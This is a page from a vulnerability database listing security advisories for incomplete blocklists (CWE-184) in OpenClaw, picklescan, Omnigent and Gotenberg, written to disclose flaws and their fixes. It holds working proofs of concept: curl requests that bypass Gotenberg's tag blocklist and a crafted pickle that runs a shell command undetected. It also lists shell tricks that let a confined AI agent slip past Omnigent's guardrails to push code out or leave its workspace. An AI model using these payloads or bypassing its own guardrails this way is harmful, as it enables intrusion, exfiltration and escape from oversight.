GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-184

Allowed

Incomplete List of Disallowed Inputs

Abstraction: Base · Status: Draft

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

391 vulnerabilities reference this CWE, most recent first.

GHSA-7977-C43C-XPWJ

Vulnerability from github – Published: 2026-02-27 06:31 – Updated: 2026-02-28 02:17
VLAI
Summary
OpenClaw is vulnerable to validation bypass through GNU long-option abbreviations in allowlist mode
Details

In OpenClaw before 2026.2.23, tools.exec.safeBins validation for sort could be bypassed via GNU long-option abbreviations (such as --compress-prog) in allowlist mode, leading to approval-free execution paths that were intended to require approval. Only an exact string such as --compress-program was denied.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28363"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-28T02:17:24Z",
    "nvd_published_at": "2026-02-27T04:16:03Z",
    "severity": "CRITICAL"
  },
  "details": "In OpenClaw before 2026.2.23, tools.exec.safeBins validation for sort could be bypassed via GNU long-option abbreviations (such as --compress-prog) in allowlist mode, leading to approval-free execution paths that were intended to require approval. Only an exact string such as --compress-program was denied.",
  "id": "GHSA-7977-c43c-xpwj",
  "modified": "2026-02-28T02:17:24Z",
  "published": "2026-02-27T06:31:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-3c6h-g97w-fg78"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28363"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/3b8e33037ae2e12af7beb56fcf0346f1f8cbde6f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.23"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw is vulnerable to validation bypass through GNU long-option abbreviations in allowlist mode"
}

GHSA-7F79-RVX6-VXC4

Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-18 14:44
VLAI
Summary
Duplicate Advisory: Picklescan does not block ctypes
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-4675-36f9-wf6r. This link is maintained to preserve external references.

Original Description

picklescan before 0.0.33 fails to block the ctypes module, allowing attackers to achieve remote code execution by invoking direct syscalls and accessing raw memory. Attackers can craft malicious pickle files using ctypes.WinDLL to load kernel32.dll and execute arbitrary commands, bypassing sandbox protections and gadget chain detection.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.33"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:44:46Z",
    "nvd_published_at": "2026-06-17T17:16:41Z",
    "severity": "CRITICAL"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-4675-36f9-wf6r. This link is maintained to preserve external references.\n\n### Original Description\npicklescan before 0.0.33 fails to block the ctypes module, allowing attackers to achieve remote code execution by invoking direct syscalls and accessing raw memory. Attackers can craft malicious pickle files using ctypes.WinDLL to load kernel32.dll and execute arbitrary commands, bypassing sandbox protections and gadget chain detection.",
  "id": "GHSA-7f79-rvx6-vxc4",
  "modified": "2026-06-18T14:44:46Z",
  "published": "2026-06-17T18:35:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-4675-36f9-wf6r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71323"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-ctypes-module"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Picklescan does not block ctypes",
  "withdrawn": "2026-06-18T14:44:46Z"
}

GHSA-7GGG-PVRF-458V

Vulnerability from github – Published: 2026-04-02 20:57 – Updated: 2026-05-06 02:38
VLAI
Summary
OpenClaw: PIP_INDEX_URL and UV_INDEX_URL bypass host exec env sanitization and redirect Python package-index traffic
Details

Summary

PIP_INDEX_URL and UV_INDEX_URL bypass host exec env sanitization and redirect Python package-index traffic

Current Maintainer Triage

  • Status: narrow
  • Normalized severity: high
  • Assessment: v2026.3.28 still allows Python package-index env redirection through host exec, but scope should stay limited to approved or allowlisted package-management exec paths, not arbitrary remote execution.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Latest published npm version: 2026.3.31
  • Vulnerable version range: <=2026.3.28
  • Patched versions: >= 2026.3.31
  • First stable tag containing the fix: v2026.3.31

Fix Commit(s)

  • 7ae1bb0c7799fd0cbd2d4de7b0f5b8039837ab8d — 2026-03-31T09:53:32+09:00

OpenClaw thanks @nexrin for reporting.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.28"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41391"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-807"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-02T20:57:44Z",
    "nvd_published_at": "2026-04-28T19:37:42Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n`PIP_INDEX_URL` and `UV_INDEX_URL` bypass host exec env sanitization and redirect Python package-index traffic\n\n## Current Maintainer Triage\n- Status: narrow\n- Normalized severity: high\n- Assessment: v2026.3.28 still allows Python package-index env redirection through host exec, but scope should stay limited to approved or allowlisted package-management exec paths, not arbitrary remote execution.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published npm version: `2026.3.31`\n- Vulnerable version range: `\u003c=2026.3.28`\n- Patched versions: `\u003e= 2026.3.31`\n- First stable tag containing the fix: `v2026.3.31`\n\n## Fix Commit(s)\n- `7ae1bb0c7799fd0cbd2d4de7b0f5b8039837ab8d` \u2014 2026-03-31T09:53:32+09:00\n\nOpenClaw thanks @nexrin for reporting.",
  "id": "GHSA-7ggg-pvrf-458v",
  "modified": "2026-05-06T02:38:56Z",
  "published": "2026-04-02T20:57:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-7ggg-pvrf-458v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41391"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/7ae1bb0c7799fd0cbd2d4de7b0f5b8039837ab8d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.31"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-environment-variable-bypass-in-package-index-url-handling"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: PIP_INDEX_URL and UV_INDEX_URL bypass host exec env sanitization and redirect Python package-index traffic"
}

GHSA-7JM4-F7VJ-6PCC

Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 00:34
VLAI
Details

Picklescan before 0.0.25 fails to detect unsafe global functions in the Numpy library, allowing attackers to bypass static analysis and execute arbitrary code during deserialization. Attackers can craft malicious pickle files using numpy.testing._private.utils.runstring within the reduce method to import dangerous libraries like os and execute arbitrary OS commands when the pickle file is loaded.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-71355"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T23:16:51Z",
    "severity": "HIGH"
  },
  "details": "Picklescan before 0.0.25 fails to detect unsafe global functions in the Numpy library, allowing attackers to bypass static analysis and execute arbitrary code during deserialization. Attackers can craft malicious pickle files using numpy.testing._private.utils.runstring within the reduce method to import dangerous libraries like os and execute arbitrary OS commands when the pickle file is loaded.",
  "id": "GHSA-7jm4-f7vj-6pcc",
  "modified": "2026-07-01T00:34:01Z",
  "published": "2026-07-01T00:34:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-fj43-3qmq-673f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71355"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-unsafe-numpy-function-detection-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7MQG-CX4G-X2RF

Vulnerability from github – Published: 2026-09-02 22:40 – Updated: 2026-09-02 22:40
VLAI
Summary
Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py
Details

Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)

Summary

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

  • git push to an attacker-controlled repo (code / secret exfiltration),
  • push to a protected branch,
  • escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

  • Combined interpreter flags: bash -lc "git push <attacker-url>"
  • Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
  • Command substitution: x=$(git push <attacker-url>)
  • Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

  1. An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
  2. Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
  3. Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "omnigent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62676"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T22:40:07Z",
    "nvd_published_at": "2026-08-21T18:16:49Z",
    "severity": "HIGH"
  },
  "details": "**Reporter:** Aaron / Aeon \u2014 autonomous security agent (https://github.com/aaronjmars/aeon)\n**Project:** `omnigent-ai/omnigent` v0.1.0 (Databricks) \u2014 meta-harness running Claude Code / Codex / Pi \"in check with policies and sandboxing\"\n**Component:** `omnigent/policies/builtins/_shell.py` (shared parser) \u2192 consumed by `policies/builtins/github.py` (`write_repos`/`write_branches` allowlist) and `policies/builtins/working_dir.py` (workspace confinement)\n\n## Summary\n\nThe shared shell-command parser **fails open**. When a gated command spells something the parser doesn\u0027t recognize, it produces no operation, the policy evaluator returns `None`, and `None` = abstain = **ALLOW**. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement \u2014 the product\u0027s two core safety guarantees.\n\n## Impact\n\nA misaligned or prompt-injected agent that is *meant to be confined* can:\n\n- `git push` to an attacker-controlled repo (code / secret exfiltration),\n- push to a protected branch,\n- escape its workspace via `git worktree add` / `git -C \u003cother-dir\u003e`.\n\n## Bypass classes (all verified against the real policy code)\n\n- **Combined interpreter flags:** `bash -lc \"git push \u003cattacker-url\u003e\"`\n- **Unlisted wrappers:** `timeout` / `nice` / `setsid` / `stdbuf \u2026 git push \u2026`\n- **Command substitution:** `x=$(git push \u003cattacker-url\u003e)`\n- **Un-split background operator:** `true \u0026 git push \u003cattacker-url\u003e`\n\nControls that **correctly hold** (confirming this is parser incompleteness, not an allowlist logic error): bare `git push \u003cattacker-url\u003e` and `env git push \u2026` both **DENY**.\n\n## Suggested fix\n\nMake the gated surface **fail closed**:\n\n1. An unrecognized gated command must **DENY**, not return `None` \u2192 ALLOW. Abstain on a security gate should resolve to deny, not allow.\n2. Canonicalize known wrappers (`timeout` / `nice` / `setsid` / `stdbuf` / `env`) down to their inner command before evaluation.\n3. Recurse into `sh -c` / `bash -c` payloads and command substitutions, and split on shell control operators (`;`, `\u0026`, `\u0026\u0026`, `||`, `|`) before judging each segment.",
  "id": "GHSA-7mqg-cx4g-x2rf",
  "modified": "2026-09-02T22:40:08Z",
  "published": "2026-09-02T22:40:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/omnigent-ai/omnigent/security/advisories/GHSA-7mqg-cx4g-x2rf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62676"
    },
    {
      "type": "WEB",
      "url": "https://github.com/omnigent-ai/omnigent/pull/389"
    },
    {
      "type": "WEB",
      "url": "https://github.com/omnigent-ai/omnigent/commit/1a05b7b139ef504bf2be89bf37918abe104fb95c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/omnigent-ai/omnigent"
    },
    {
      "type": "WEB",
      "url": "https://github.com/omnigent-ai/omnigent/releases/tag/v0.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py"
}

GHSA-7V3R-M9C8-R855

Vulnerability from github – Published: 2026-05-07 00:55 – Updated: 2026-07-21 13:51
VLAI
Summary
Gotenberg's ExifTool group-prefix syntax bypasses dangerous-tag blocklist
Details

Summary

The ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m.

Details

The blocklist in pkg/modules/exiftool/exiftool.go filters four dangerous pseudo-tags (FileName, Directory, HardLink, SymLink) using strings.EqualFold(key, tag). However, ExifTool supports group-prefix syntax where File:FileName is processed identically to FileName -- the prefix is stripped by SetNewValue in Writer.pl before tag matching.

The safeKeyPattern regex (^[a-zA-Z0-9\-_.:]+$) allows colons, so prefixed tag names pass validation. Any prefix works: File:FileName, System:Directory, a:HardLink, etc.

Additionally, FilePermissions, FileUserID, and FileGroupID pseudo-tags are not blocked at all and can modify file attributes without any prefix.

PoC

# Rename the converted PDF (bypasses FileName blocklist)
curl -F "files=@test.pdf" \
  -F 'metadata={"File:FileName":"pwned.pdf"}' \
  http://localhost:3000/forms/pdfengines/metadata/write

# Move the file to /tmp (bypasses Directory blocklist)
curl -F "files=@test.pdf" \
  -F 'metadata={"File:Directory":"/tmp"}' \
  http://localhost:3000/forms/pdfengines/metadata/write

# Create a symlink (bypasses SymLink blocklist)
curl -F "files=@test.pdf" \
  -F 'metadata={"File:SymLink":"/tmp/symlink-poc"}' \
  http://localhost:3000/forms/pdfengines/metadata/write

# Change file permissions (not blocked at all)
curl -F "files=@test.pdf" \
  -F 'metadata={"FilePermissions":"rwxrwxrwx"}' \
  http://localhost:3000/forms/pdfengines/metadata/write

Impact

Pre-auth (no authentication by default). Attacker can rename, move, or create links to files within the Gotenberg container. In deployments with mounted volumes or non-containerized setups, this enables arbitrary file read via symlink chaining and file overwrite via directory manipulation.

This is a direct bypass of the fix for GHSA-qmwh-9m9c-h36m.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "8.29.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42590"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:55:44Z",
    "nvd_published_at": "2026-05-14T16:16:22Z",
    "severity": "HIGH"
  },
  "details": "**Summary**\n\nThe ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool\u0027s group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m.\n\n**Details**\n\nThe blocklist in `pkg/modules/exiftool/exiftool.go` filters four dangerous pseudo-tags (`FileName`, `Directory`, `HardLink`, `SymLink`) using `strings.EqualFold(key, tag)`. However, ExifTool supports group-prefix syntax where `File:FileName` is processed identically to `FileName` -- the prefix is stripped by `SetNewValue` in `Writer.pl` before tag matching.\n\nThe `safeKeyPattern` regex (`^[a-zA-Z0-9\\-_.:]+$`) allows colons, so prefixed tag names pass validation. Any prefix works: `File:FileName`, `System:Directory`, `a:HardLink`, etc.\n\nAdditionally, `FilePermissions`, `FileUserID`, and `FileGroupID` pseudo-tags are not blocked at all and can modify file attributes without any prefix.\n\n**PoC**\n\n```bash\n# Rename the converted PDF (bypasses FileName blocklist)\ncurl -F \"files=@test.pdf\" \\\n  -F \u0027metadata={\"File:FileName\":\"pwned.pdf\"}\u0027 \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n\n# Move the file to /tmp (bypasses Directory blocklist)\ncurl -F \"files=@test.pdf\" \\\n  -F \u0027metadata={\"File:Directory\":\"/tmp\"}\u0027 \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n\n# Create a symlink (bypasses SymLink blocklist)\ncurl -F \"files=@test.pdf\" \\\n  -F \u0027metadata={\"File:SymLink\":\"/tmp/symlink-poc\"}\u0027 \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n\n# Change file permissions (not blocked at all)\ncurl -F \"files=@test.pdf\" \\\n  -F \u0027metadata={\"FilePermissions\":\"rwxrwxrwx\"}\u0027 \\\n  http://localhost:3000/forms/pdfengines/metadata/write\n```\n\n**Impact**\n\nPre-auth (no authentication by default). Attacker can rename, move, or create links to files within the Gotenberg container. In deployments with mounted volumes or non-containerized setups, this enables arbitrary file read via symlink chaining and file overwrite via directory manipulation.\n\nThis is a direct bypass of the fix for GHSA-qmwh-9m9c-h36m.",
  "id": "GHSA-7v3r-m9c8-r855",
  "modified": "2026-07-21T13:51:55Z",
  "published": "2026-05-07T00:55:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-7v3r-m9c8-r855"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42590"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-qmwh-9m9c-h36m"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gotenberg\u0027s ExifTool group-prefix syntax bypasses dangerous-tag blocklist"
}

GHSA-7WX9-6375-F5WH

Vulnerability from github – Published: 2026-03-03 20:03 – Updated: 2026-06-18 14:43
VLAI
Summary
PickleScan's profile.run blocklist mismatch allows exec() bypass
Details

Summary

picklescan v1.0.3 blocks profile.Profile.run and profile.Profile.runctx but does NOT block the module-level profile.run() function. A malicious pickle calling profile.run(statement) achieves arbitrary code execution via exec() while picklescan reports 0 issues. This is because the blocklist entry "Profile.run" does not match the pickle global name "run".

Severity

High — Direct code execution via exec() with zero scanner detection.

Affected Versions

  • picklescan v1.0.3 (latest — the profile entries were added in recent versions)
  • Earlier versions also affected (profile not blocked at all)

Details

Root Cause

In scanner.py line 199, the blocklist entry for profile is:

"profile": {"Profile.run", "Profile.runctx"},

When a pickle file imports profile.run (the module-level function), picklescan's opcode parser extracts: - module = "profile" - name = "run"

The blocklist check at line 414 is:

elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter):

This checks: is "run" in {"Profile.run", "Profile.runctx"}?

Answer: NO. "run" != "Profile.run". The string comparison is exact — there is no prefix/suffix matching.

What profile.run() Does

# From Python's Lib/profile.py
def run(statement, filename=None, sort=-1):
    prof = Profile()
    try:
        prof.run(statement)  # Calls exec(statement)
    except SystemExit:
        pass
    ...

profile.run(statement) calls exec(statement) internally, enabling arbitrary Python code execution.

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# profile.run("import os; os.system('id')")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 60)
    + sbu("profile") + sbu("run") + b"\x93"
    + sbu("import os; os.system('id')")
    + b"\x85" + b"R" + b"."
)

# picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"})
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs exec("import os; os.system('id')") → RCE
pickle.loads(payload)

Comparison

Pickle Global Blocklist Entry Match? Result
("profile", "run") "Profile.run" NO — "run" != "Profile.run" CLEAN (bypass!)
("profile", "Profile.run") "Profile.run" YES DETECTED
("profile", "runctx") "Profile.runctx" NO — "runctx" != "Profile.runctx" CLEAN (bypass!)

The pickle opcode GLOBAL / STACK_GLOBAL resolves profile.run to the MODULE-LEVEL function, not the class method Profile.run. These are different Python objects but both execute arbitrary code.

Impact

profile.run() provides direct exec() execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because exec() can import any module and call any function, bypassing the blocklist entirely.

Suggested Fix

Change the profile blocklist entry from:

"profile": {"Profile.run", "Profile.runctx"},

to:

"profile": "*",

Or explicitly add the module-level functions:

"profile": {"Profile.run", "Profile.runctx", "run", "runctx"},

Resources

  • picklescan source: scanner.py line 199 ("profile": {"Profile.run", "Profile.runctx"})
  • picklescan source: scanner.py line 414 (exact string match logic)
  • Python source: Lib/profile.py run() function — calls exec()
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53873"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-697"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T20:03:35Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\npicklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `\"Profile.run\"` does not match the pickle global name `\"run\"`.\n\n## Severity\n\n**High** \u2014 Direct code execution via `exec()` with zero scanner detection.\n\n## Affected Versions\n\n- picklescan v1.0.3 (latest \u2014 the profile entries were added in recent versions)\n- Earlier versions also affected (profile not blocked at all)\n\n## Details\n\n### Root Cause\n\nIn `scanner.py` line 199, the blocklist entry for `profile` is:\n\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\n\nWhen a pickle file imports `profile.run` (the module-level function), picklescan\u0027s opcode parser extracts:\n- `module = \"profile\"`\n- `name = \"run\"`\n\nThe blocklist check at line 414 is:\n\n```python\nelif unsafe_filter is not None and (unsafe_filter == \"*\" or g.name in unsafe_filter):\n```\n\nThis checks: is `\"run\"` in `{\"Profile.run\", \"Profile.runctx\"}`?\n\n**Answer: NO.** `\"run\" != \"Profile.run\"`. The string comparison is exact \u2014 there is no prefix/suffix matching.\n\n### What `profile.run()` Does\n\n```python\n# From Python\u0027s Lib/profile.py\ndef run(statement, filename=None, sort=-1):\n    prof = Profile()\n    try:\n        prof.run(statement)  # Calls exec(statement)\n    except SystemExit:\n        pass\n    ...\n```\n\n`profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# profile.run(\"import os; os.system(\u0027id\u0027)\")\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 60)\n    + sbu(\"profile\") + sbu(\"run\") + b\"\\x93\"\n    + sbu(\"import os; os.system(\u0027id\u0027)\")\n    + b\"\\x85\" + b\"R\" + b\".\"\n)\n\n# picklescan: 0 issues (name \"run\" not in {\"Profile.run\", \"Profile.runctx\"})\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN!\n\n# Execute: runs exec(\"import os; os.system(\u0027id\u0027)\") \u2192 RCE\npickle.loads(payload)\n```\n\n### Comparison\n\n| Pickle Global | Blocklist Entry | Match? | Result |\n|--------------|-----------------|--------|--------|\n| `(\"profile\", \"run\")` | `\"Profile.run\"` | NO \u2014 `\"run\" != \"Profile.run\"` | CLEAN (bypass!) |\n| `(\"profile\", \"Profile.run\")` | `\"Profile.run\"` | YES | DETECTED |\n| `(\"profile\", \"runctx\")` | `\"Profile.runctx\"` | NO \u2014 `\"runctx\" != \"Profile.runctx\"` | CLEAN (bypass!) |\n\nThe pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code.\n\n## Impact\n\n`profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely.\n\n## Suggested Fix\n\nChange the `profile` blocklist entry from:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\nto:\n```python\n\"profile\": \"*\",\n```\n\nOr explicitly add the module-level functions:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\", \"run\", \"runctx\"},\n```\n\n## Resources\n\n- picklescan source: `scanner.py` line 199 (`\"profile\": {\"Profile.run\", \"Profile.runctx\"}`)\n- picklescan source: `scanner.py` line 414 (exact string match logic)\n- Python source: `Lib/profile.py` `run()` function \u2014 calls `exec()`",
  "id": "GHSA-7wx9-6375-f5wh",
  "modified": "2026-06-18T14:43:20Z",
  "published": "2026-03-03T20:03:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7wx9-6375-f5wh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53873"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-profile-run-blocklist-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
